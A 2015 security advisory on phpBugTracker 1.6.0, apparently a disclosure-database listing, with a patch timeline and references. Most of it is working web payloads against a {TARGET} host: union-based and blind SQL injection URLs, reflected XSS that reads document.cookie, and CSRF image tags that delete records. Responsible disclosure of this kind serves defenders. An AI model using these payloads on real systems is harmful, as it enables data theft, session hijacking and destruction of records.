phpBugTracker 1.6.0 - Multiple Vulnerabilities


Platform:

PHP

Published:

2015-02-23

Advisory: Multiple SQLi, stored/reflecting XSS- and CSRF-vulnerabilities in
phpBugTracker v.1.6.0
Advisory ID: SROEADV-2015-16
Author: Steffen Rösemann
Affected Software: phpBugTracker v.1.6.0
Vendor URL: https://github.com/a-v-k/phpBugTracker
Vendor Status: patched
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Tested on: OS X 10.10 with Firefox 35.0.1 ; Kali Linux 3.18, Iceweasel 31

==========================
Vulnerability Description:
==========================

The Issuetracker phpBugTracker v. 1.6.0 suffers from multiple SQLi-,
stored/reflected XSS- and CSRF-vulnerabilities.

==================
Technical Details:
==================

The following files used in a common phpBugTracker installation suffer from
different SQLi-, stored/reflected XSS- and CSRF-vulnerabilities:

===========
project.php
===========

SQL injection / underlaying CSRF vulnerability  in project.php via id
parameter:

http://
{TARGET}/admin/project.php?op=edit_component&id=1%27+and+1=2+union+select+1,2,database%28%29,user%28%29,5,6,version%28%29,8,9,10,11,12+--+

Stored XSS via input field "project name":

http://{TARGET}/admin/project.php?op=add

executed in: e.g. http://{TARGET}/admin/project.php, http://
{TARGET}/index.php


========
user.php
========

Reflecting XSS in user.php via use_js parameter:

http://
{TARGET}/admin/user.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&user_id=1

executed in: same page


=========
group.php
=========

Reflecting XSS in group.php via use_js parameter:

http://
{TARGET}/admin/group.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&group_id=1

executed in: same page

(Blind) SQL Injection / underlaying CSRF vulnerability  in group.php via
group_id parameter (used in different operations):

http://
{TARGET}/admin/group.php?op=edit&use_js=1&group_id=1+and+SLEEP%2810%29+--+
http://
{TARGET}/admin/group.php?op=edit-role&use_js=1&group_id=8+and+substring%28version%28%29,1,1%29=5+--+


==========
status.php
==========

SQL injection / underlaying CSRF vulnerability  in status.php via status_id
parameter:

http://
{TARGET}/admin/status.php?op=edit&status_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

Stored XSS via input field "Description":

http://{TARGET}/admin/status.php?op=edit&use_js=1&status_id=0

executed in: e.g. http://{TARGET}/admin/status.php

CSRF vulnerability in status.php (delete statuses):

<img src="http://{TARGET}/admin/status.php?op=del&status_id={NUMERIC_STATUS_ID}"



==============
resolution.php
==============

SQL injection / underlaying CSRF vulnerability  in resolution.php via
resolution_id parameter:

http://
{TARGET}/admin/resolution.php?op=edit&resolution_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in resolution.php (delete resolutions):

<img src="http://{TARGET}/admin/resolution.php?op=del&resolution_id={NUMERIC_RESOLUTION_ID}"



============
severity.php
============

SQL injection / underlaying CSRF vulnerability  in severity.php via
severity_id parameter:

http://
{TARGET}/admin/severity.php?op=edit&severity_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

CSRF vulnerability in severity.php (delete severities):

<img src="http://{TARGET}/admin/severity.php?op=del&severity_id={NUMERIC_SEVERITY_ID}"


Stored XSS in severity.php via input field "Description":

http://{TARGET}/admin/severity.php?op=edit&use_js=1&severity_id=0

executed in: e.g. http://{TARGET}/admin/severity.php


============
priority.php
============

SQL injection / underlaying CSRF vulnerability in priority.php via
priority_id parameter:

http://
{TARGET}/admin/priority.php?op=edit&priority_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,4,version%28%29+--+


======
os.php
======

SQL Injection / underlaying CSRF vulnerability in os.php via os_id
parameter:

http://
{TARGET}/admin/os.php?op=edit&os_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in os.php (delete operating systems):

<img src="http://{TARGET}/admin/os.php?op=del&os_id={NUMERIC_OS_ID}" >

Stored XSS vulnerability in os.php via input field "Regex":

http://{TARGET}/admin/os.php?op=edit&use_js=1&os_id=0

executed in: e.g. http://{TARGET}/admin/os.php?


============
database.php
============

SQL injection / underlaying CSRF vulnerability in database.php via
database_id:

http://
{TARGET}/admin/database.php?op=edit&database_id=1%27+and+1=2+union+select+1,user%28%29,version%28%29+--+

CSRF vulnerability in database.php (delete databases):

<img src="http://{TARGET}/admin/database.php?op=del&database_id={NUMERIC_DATABASE_ID}"


Stored XSS vulnerability in database.php via input field "Name":

http://{TARGET}/admin/database.php?op=edit&use_js=1&database_id=0


========
site.php
========

CSRF vulnerability in site.php (delete sites):

<img src="http://{TARGET}/admin/site.php?op=del&site_id={NUMERIC_SITE_ID}" >

SQL injection / underlaying CSRF vulnerability in site.php via site_id
parameter:

http://
{TARGET}/admin/site.php?op=edit&site_id=5%27+and+1=2+union+select+1,version%28%29,database%28%29+--+


=======
bug.php
=======

This issue has already been assigned CVE-2004-1519, but seems to have not
been corrected since the assignment:

SQL injection / underlaying CSRF vulnerability in bug.php via project
parameter:

http://
{TARGET}/bug.php?op=add&project=1%27+and+1=2+union+select+user%28%29+--+

For details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1519.



=========
Solution:
=========

Update to version 1.7.0.


====================
Disclosure Timeline:
====================
03/05-Feb-2015 – found the vulnerabilities
05-Feb-2015 - informed the developers (see [3])
05-Feb-2015 – release date of this security advisory [without technical
details]
05-Feb-2015 - forked the Github repository, to keep it available for other
security researchers (see [4])
05/06-Feb-2015 - vendor replied, will provide a patch for the
vulnerabilities
09-Feb-2015 - vendor provided a patch (version 1.7.0, see [3]); technical
details will be released on 19th February 2015
19-Feb-2015 - release date of this security advisory
19-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] https://github.com/a-v-k/phpBugTracker
[2] http://sroesemann.blogspot.de/2015/02/sroeadv-2015-16.html
[3] https://github.com/a-v-k/phpBugTracker/issues/4
[4] https://github.com/sroesemann/phpBugTracker